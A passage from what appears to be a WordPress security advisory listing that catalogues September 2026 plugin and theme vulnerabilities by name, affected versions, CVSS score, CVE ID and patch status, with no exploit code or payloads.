Patch Status

Patched
Published
Sep 17, 2026

Affected Software

JetElements [jet-elements]

Researcher

More Details >

JetSearch <= 3.6.3 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-66577
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

JetSearch [jet-search]

Researcher

More Details >

JetTabs <= 2.3.3.1 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-66573
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

JetTabs [jet-tabs]

Researcher

More Details >

Job Postings <= 2.8.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘position_button’ Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-18063
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Job Postings [job-postings]

Researcher

More Details >

King Addons for Elementor <= 51.1.80 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-84902
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

King Addons for Elementor – 100+ Elementor Widgets, 4 000+ Elementor Templates, WooCommerce Builder, Mega Menu, Popup Builder [king-addons]

Researcher

More Details >

Kirki 6.0.0 – 6.3.0 – Authenticated (Author+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-84223
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researcher

More Details >

Kubio AI Page Builder <= 2.8.4 – Authenticated (Contributor+) Stored Cross-Site Scripting via kubio/copyright Block Content

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-14472
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Kubio AI Page Builder [kubio]

Researcher

More Details >

Magazine Blocks <= 1.8.6 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘clientId’ Block Attribute

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-75016
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Magazine Blocks – Blog Designer, Magazine & Newspaper Website Builder, Page Builder with Posts Blocks, Post Grid [magazine-blocks]

Researcher

More Details >

Master Slider <= 3.11.2 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-14844
Patch Status

Unpatched
Published
Sep 18, 2026

Affected Software

Master Slider – Responsive Touch Slider [master-slider]

Researcher

More Details >

Photo Gallery by 10Web – Mobile-Friendly Image Gallery <= 1.8.44 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-86311
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Photo Gallery by 10Web – Mobile-Friendly Image Gallery [photo-gallery]

Researcher

More Details >

Popup Maker <= 1.24.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via post_title

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-15797
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder [popup-maker]

Researcher

5a50351dc3a5975487697a55ad3936d5UKO

More Details >

Property Hive <= 2.2.6 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-66578
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Property Hive [propertyhive]

Researcher

More Details >

Real 3D Flipbook <= 5.1.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘lightboxtext’ Shortcode Attribute

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-15098
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Real3D Flipbook – 3D FlipBook, PDF FlipBook, PDF Viewer, PDF Embedder [real3d-flipbook-lite]

Researcher

More Details >

Redux Framework <= 4.5.13 – Authenticated (Subscriber+) Cross-Site Scripting via User Input

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-5400
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Redux Framework [redux-framework]

Researcher

More Details >

Redux Framework <= 4.5.13 – Authenticated (Subscriber+) Stored Cross-Site Scripting via Spinner Field Input

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-5410
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Redux Framework [redux-framework]

Researcher

More Details >

RT Mega Menu <= 1.5.1 – Authenticated (Subscriber+) Stored Cross-Site Scripting via rtmega_update_menu_options AJAX Action

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-14855
Patch Status

Unpatched
Published
Sep 17, 2026

Affected Software

RT Mega Menu – Mega Menu Builder for Elementor & Gutenberg [rt-mega-menu]

Researcher

More Details >

RT Mega Menu <= 1.5.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘pointer_menu_item’ Block Attribute

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-15650
Patch Status

Unpatched
Published
Sep 17, 2026

Affected Software

RT Mega Menu – Mega Menu Builder for Elementor & Gutenberg [rt-mega-menu]

Researcher

More Details >

Strong Testimonials <= 3.3.8 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘lightbox_class’ Shortcode Attribute

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-92622
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Strong Testimonials [strong-testimonials]

Researcher

More Details >

The ShopEngine Elementor WooCommerce Builder Addon – All in One WooCommerce Solution with eCommerce Templates & Woo Widgets <= 4.9.5 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘shopengine_product_title_header_size’ Parameter

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-85575
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

ShopEngine Elementor WooCommerce Builder Addon – All in One WooCommerce Solution with eCommerce Templates & Woo Widgets [shopengine]

Researcher

More Details >

Unlimited Elements For Elementor <= 2.0.19 – Authenticated (Contributor+) Server-Side Request Forgery

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-66608
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Unlimited Elements For Elementor [unlimited-elements-for-elementor]

Researcher

More Details >

Visualizer <= 4.0.7 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-86784
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Visualizer – Tables & Charts Manager with Built-in AI Generator [visualizer]

Researcher

More Details >

VK All in One Expansion Unit <= 9.118.0 – Authenticated (Author+) Stored Cross-Site Scripting via ‘vkExUnit_cta_img_position’ Post Meta

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-17586
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

VK All in One Expansion Unit [vk-all-in-one-expansion-unit]

Researchers

More Details >

WP Composer <= 1.0.5 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘pbwp_raw_shortcode’ Shortcode

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-2422
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

WP Composer – The Easiest Page Builder [page-builder-wp]

Researcher

More Details >

WPComplete <= 2.9.9.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via ’empty’ Shortcode Attribute

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-77820
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

WPComplete [wpcomplete]

Researcher

More Details >

Xpro Elementor Addons <= 1.7.8 – Authenticated (Contributor+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-84088
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Xpro Addons — 150+ Widgets for Elementor [xpro-elementor-addons]

Researcher

More Details >

YayPricing – WooCommerce Dynamic Pricing & Discounts < 3.5.7 – Authenticated (Subscriber+) Stored Cross-Site Scripting

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-87888
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

YayPricing – WooCommerce Dynamic Pricing & Discounts [yaypricing]

Researcher

More Details >

YS LeadGen – Popups, Opt-ins & Lead Capture <= 2.1.4 – Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site Scripting via User Input

6.4

CVSS Rating
6.4 (Medium)
CVE-ID

CVE-2026-1256
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

YS LeadGen – Drag and Drop Popup Builder, Form Builder, Exit Intent Popups & Lead Capture for WordPress [ysleadgen]

Researchers

More Details >

Add User Autocomplete < 1.2 – Authenticated (Subscriber+) Privilege Escalation

6.3

CVSS Rating
6.3 (Medium)
CVE-ID

CVE-2026-87759
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Add User Autocomplete [add-user-autocomplete]

Researcher

More Details >

Booking for Appointments and Events Calendar – Amelia < 2.4.10 – Authenticated (Custom Role+) Privilege Escalation

6.3

CVSS Rating
6.3 (Medium)
CVE-ID

CVE-2026-77705
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

More Details >

PuppyFW <= 0.4.4 – Authenticated (Subscriber+) Privilege Escalation

6.3

CVSS Rating
6.3 (Medium)
CVE-ID

CVE-2026-88904
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

PuppyFW [puppyfw]

Researcher

More Details >

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder < 5.2.8 – Authenticated (Author+) Privilege Escalation

6.3

CVSS Rating
6.3 (Medium)
CVE-ID

CVE-2026-80071
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder [user-registration]

Researcher

More Details >

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder 4.4.6 – 5.2.7 – Authenticated (Subscriber+) Privilege Escalation

6.3

CVSS Rating
6.3 (Medium)
CVE-ID

CVE-2026-86406
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder [user-registration]

Researcher

More Details >

Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots plugin for WordPress <= 2.15.22 – Reflected Cross-Site Scripting via ‘icn’ Parameter

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-18555
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots [bp-better-messages]

Researcher

More Details >

Booking Calendar <= 11.8.2 – Reflected Cross-Site Scripting via ‘options’ Parameter

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-92561
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Booking Calendar [booking]

Researcher

More Details >

Design Scuole Italia <= 2.18.2 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-87793
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

design-scuole-wordpress-theme [design-scuole-wordpress-theme]

Researcher(s): Unknown

More Details >

Dictionary <= 1.0 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2025-15697
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

Dictionary [dictionary]

Researcher

More Details >

EmbedPress <= 4.6.5 – Reflected Cross-Site Scripting via ‘hash’ and ‘unique’ Parameters

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-89330
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

EmbedPress – PDF Embedder, 3D PDF FlipBook, Google Reviews, YouTube Videos, Upload & Embed PDF documents [embedpress]

Researcher

More Details >

Estatik <= 4.3.4 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-76790
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Estatik Real Estate Plugin [estatik]

Researcher

More Details >

LearnPress <= 4.4.6 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-86444
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

LearnPress – WordPress LMS Plugin for Create and Sell Online Courses [learnpress]

Researcher

More Details >

MC4WP: Mailchimp for WordPress <= 4.14.0 – Reflected Cross-Site Scripting via ‘data’ Dynamic Content Tag

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-87917
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

MC4WP: Mailchimp for WordPress [mailchimp-for-wp]

Researcher

More Details >

Newsletter <= 9.3.8 – Reflected Cross-Site Scripting via ‘nn’ Parameter

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-90981
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Newsletter – Send awesome emails from WordPress

Researcher

More Details >

Pochipp <= 1.20.2 – Reflected Cross-Site Scripting via ‘keyword’ Parameter

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-92967
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Pochipp [pochipp]

Researcher

More Details >

Qi Addons For Elementor <= 1.11 – Reflected DOM-Based Cross-Site Scripting via ‘s’ Parameter

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-92249
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Qi Addons For Elementor [qi-addons-for-elementor]

Researcher

More Details >

Realtyna Organic IDX plugin + WPL Real Estate <= 5.4.1 – Reflected Cross-Site Scripting

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-91014
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Realtyna Organic IDX plugin + WPL Real Estate [real-estate-listing-realtyna-wpl]

Researcher

More Details >

ShopLentor <= 3.5.1 – Reflected Cross-Site Scripting via Query-String Parameter Name

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-92554
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

ShopLentor – All-in-One WooCommerce Growth & Store Enhancement Plugin [woolentor-addons]

Researcher

More Details >

SSL Zen <= 4.7.42 – Reflected Cross-Site Scripting via ‘uri’ and ‘host’ Parameters

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-15463
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

SSL Zen — SSL Certificate Installer & HTTPS Redirects [ssl-zen]

Researcher

More Details >

Tutor LMS <= 4.0.8 – Reflected Cross-Site Scripting via ‘back_url’ and ‘search’ Parameters

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-89081
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

More Details >

WP Customer Reviews <= 3.7.8 – Reflected Cross-Site Scripting via ‘wpcr3_fname’ Parameter

6.1

CVSS Rating
6.1 (Medium)
CVE-ID

CVE-2026-11608
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

WP Customer Reviews [wp-customer-reviews]

Researcher

More Details >

Import and export users and customers <= 2.4.4 – Authenticated (Administrator+) Server-Side Request Forgery

5.5

CVSS Rating
5.5 (Medium)
CVE-ID

CVE-2026-16542
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Import and export users and customers [import-users-from-csv-with-meta]

Researcher

More Details >

Import Export Lite <= 3.9.32 – Authenticated (Administrator+) Server-Side Request Forgery

5.5

CVSS Rating
5.5 (Medium)
CVE-ID

CVE-2026-76559
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WP Import Export Lite [wp-import-export-lite]

Researcher

More Details >

WordPress Core <= 7.1 – Missing Authorization to customize_changeset Write via XML-RPC (Multisite/Custom Role edit_css Bypass)

5.5

CVSS Rating
5.5 (Medium)
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

Booking for Appointments and Events Calendar – Amelia (Premium) <= 2.4.4 – Authenticated (Custom+) Missing Authorization to Limited Account Takeover

5.4

CVSS Rating
5.4 (Medium)
CVE-ID

CVE-2026-14311
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

More Details >

Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors <= 4.15.0 – Authenticated (Author+) Stored Cross-Site Scripting via ‘profile_fields_user_email_value_prefix’ Parameter

5.4

CVSS Rating
5.4 (Medium)
CVE-ID

CVE-2026-85657
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors [publishpress-authors]

Researcher

More Details >

FileBird – WordPress Media Library Folders & File Manager <= 6.5.6 – Authenticated (Author+) Stored Cross-Site Scripting

5.4

CVSS Rating
5.4 (Medium)
CVE-ID

CVE-2026-15004
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

FileBird – WordPress Media Library Folders & File Manager [filebird]

Researcher

More Details >

Newsletter <= 9.3.6 – Unauthenticated Open Redirect

5.4

CVSS Rating
5.4 (Medium)
CVE-ID

CVE-2026-86823
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Newsletter [newsletter-email-mailing-list]

Researcher

More Details >

WP Recipe Maker <= 10.8.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via ‘notes’ Parameter via REST Preview Endpoint

5.4

CVSS Rating
5.4 (Medium)
CVE-ID

CVE-2026-90884
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WP Recipe Maker [wp-recipe-maker]

Researcher

More Details >

3D FlipBook <= 1.16.20 – Unauthenticated Sensitive Information Exposure in ‘id’ Parameter

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-15758
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

3D FlipBook – PDF Embedder, PDF Flipbook Viewer, Flipbook Image Gallery [interactive-3d-flipbook-powered-physics-engine]

Researcher

More Details >

Ad Inserter <= 2.8.16 – Missing Authorization to Unauthenticated Header/Footer Code Disclosure via ‘ai-debug-code’ Parameter

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-11984
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Ad Inserter – Ad Manager & AdSense Ads [ad-inserter]

Researcher

More Details >

All-in-One WP Migration and Backup <= 7.110 – Unauthenticated Insufficient Credential Protection via Authorization Basic Header

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-89064
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

All-in-One WP Migration and Backup [all-in-one-wp-migration]

Researcher

More Details >

Appointment Hour Booking <= 1.5.94 – Unauthenticated Appointment Slot Capacity Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86475
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Appointment Hour Booking – Booking Calendar [appointment-hour-booking]

Researcher

More Details >

Autopay <= 5.0.0 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-90923
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Autopay [platnosci-online-blue-media]

Researcher

More Details >

BerqWP – All-In-One Optimization for Core Web Vitals, Cache, CDN, Images, CSS & JavaScript <= 4.1.15 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-78528
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

BerqWP – All-In-One Optimization for Core Web Vitals, Cache, CDN, Images, CSS & JavaScript [searchpro]

Researcher

More Details >

Better Messages <= 2.15.33 – Unauthenticated Information Exposure Spoofing via ‘X-Real-IP’ Header via /guests/register

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-89093
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots [bp-better-messages]

Researcher

More Details >

Booking Calendar <= 11.7 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-74002
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Booking Calendar [booking]

Researcher

More Details >

Booking for Appointments and Events Calendar – Amelia <= 2.4.5 – Missing Authorization to Unauthenticated Payment Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-16582
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

More Details >

Bookly <= 28.1 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-91847
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Online Scheduling and Appointment Booking System – Bookly [bookly-responsive-appointment-booking-tool]

Researcher

More Details >

Botiga Pro <= 1.6.4 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86591
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Botiga Pro [botiga-pro]

Researcher

More Details >

Bread <= 2.9.12 – Missing Authorization to Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-4792
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Bread [bread]

Researcher

More Details >

Breeze Cache <= 2.5.14 – Unauthenticated Cache Poisoning

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-79713
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Breeze Cache [breeze]

Researcher

More Details >

Clean Login <= 1.18 – Unauthenticated Account Registration

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-90976
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Clean Login [clean-login]

Researcher

More Details >

Clean Login <= 1.18 – Unauthenticated CAPTCHA Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-90977
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Clean Login [clean-login]

Researcher

More Details >

Design Scuole Italia <= 2.17.3 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87792
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

design-scuole-wordpress-theme [design-scuole-wordpress-theme]

Researcher(s): Unknown

More Details >

Divi 5.0 – 5.11.1 – Missing Authorization to Unauthenticated Arbitrary Registered Shortcode Execution via ‘content’ Parameter via Shortcode Module REST Endpoint

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-91707
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Divi [Divi]

Researcher

More Details >

Easy Appointments <= 4.0.2.1 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87965
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

More Details >

Easy Appointments 4.0 – 4.0.2.1 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87966
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

More Details >

Easy Form Builder 4.0.0 – 4.1.3 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-85123
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Easy Form Builder by WhiteStudio – Drag & Drop Form Builder [easy-form-builder]

Researcher

More Details >

Easy Invoice – Invoice Generator, PDF Quotes & Payments <= 2.3.8 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-66676
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Easy Invoice – Invoice Generator, PDF Quotes & Payments [easy-invoice]

Researcher

More Details >

EduAdmin Booking <= 5.4.2 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-62101
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

EduAdmin Booking [eduadmin-booking]

Researcher

More Details >

Event Booking Manager for WooCommerce <= 5.3.7 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-91008
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar [mage-eventpress]

Researcher

More Details >

Eventin <= 4.1.23 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-84907
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Eventin – Events Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

Eventin <= 4.1.23 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-77702
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Eventin – Events Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

Eventin <= 4.1.23 – Unauthenticated Payment Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-84906
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Eventin – Events Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

FluentAuth – Login Security, Two-Factor Authentication, Passkeys & Social Login <= 2.1.2 – Unauthenticated Email Verification Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-78296
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

FluentAuth – Login Security, Two-Factor Authentication, Passkeys & Social Login [fluent-security]

Researcher

More Details >

Formidable Forms <= 6.34 – Unauthenticated Content Injection

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-85641
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Formidable Forms – WordPress Form Builder for Contact Forms, Calculators, Quizzes & More [formidable]

Researcher

More Details >

Ghost (Hide My WP Ghost) <= 7.0.10 – Unauthenticated Login Protection Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86800
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Hide My WP Ghost – Security & Firewall [hide-my-wp]

Researcher

More Details >

Ghost (Hide My WP Ghost) <= 7.0.10 – Unauthenticated Protection Mechanism Bypass

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86796
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Hide My WP Ghost – Security & Firewall [hide-my-wp]

Researcher

More Details >

GPTranslate <= 2.34.6 – Unauthenticated Sensitive Information Exposure in Public Frontend Inline Script

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-89278
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

GPTranslate – Multilingual AI Translation Agent for WordPress: Translate Your Site with AI [gptranslate]

Researcher

More Details >

Ibtana – Ecommerce Product Addons <= 0.4.7.7 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Meta Modification via ‘iepa_use_gt_editor’ AJAX Action

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-1984
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Ibtana – Ecommerce Product Addons [ibtana-ecommerce-product-addons]

Researcher

More Details >

JWT Authentication for WP REST APIs <= 4.7.0 – Unauthenticated Authentication Method Downgrade via ‘mo_rest_api_test_config’ Parameter

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-89027
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

JWT Authentication for WP REST APIs [wp-rest-api-authentication]

Researcher

More Details >

KBoard <= 6.6 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-88910
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

kboard [kboard]

Researcher

More Details >

King Addons for Elementor – 100+ Elementor Widgets, 4 000+ Elementor Templates, WooCommerce Builder, Mega Menu, Popup Builder <= 51.1.81 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-66575
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

King Addons for Elementor – 100+ Elementor Widgets, 4 000+ Elementor Templates, WooCommerce Builder, Mega Menu, Popup Builder [king-addons]

Researcher

More Details >

LearnPress <= 4.4.6 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86445
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

LearnPress – WordPress LMS Plugin for Create and Sell Online Courses [learnpress]

Researcher

More Details >

LearnPress <= 4.4.6 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86447
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

LearnPress – WordPress LMS Plugin for Create and Sell Online Courses [learnpress]

Researcher

More Details >

LearnPress <= 4.4.6 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86449
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

LearnPress – WordPress LMS Plugin for Create and Sell Online Courses [learnpress]

Researcher

More Details >

LearnPress <= 4.4.6 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86448
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

LearnPress – WordPress LMS Plugin for Create and Sell Online Courses [learnpress]

Researcher

More Details >

LearnPress 4.4.3 – 4.4.6 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86446
Patch Status

Patched
Published
Sep 15, 2026

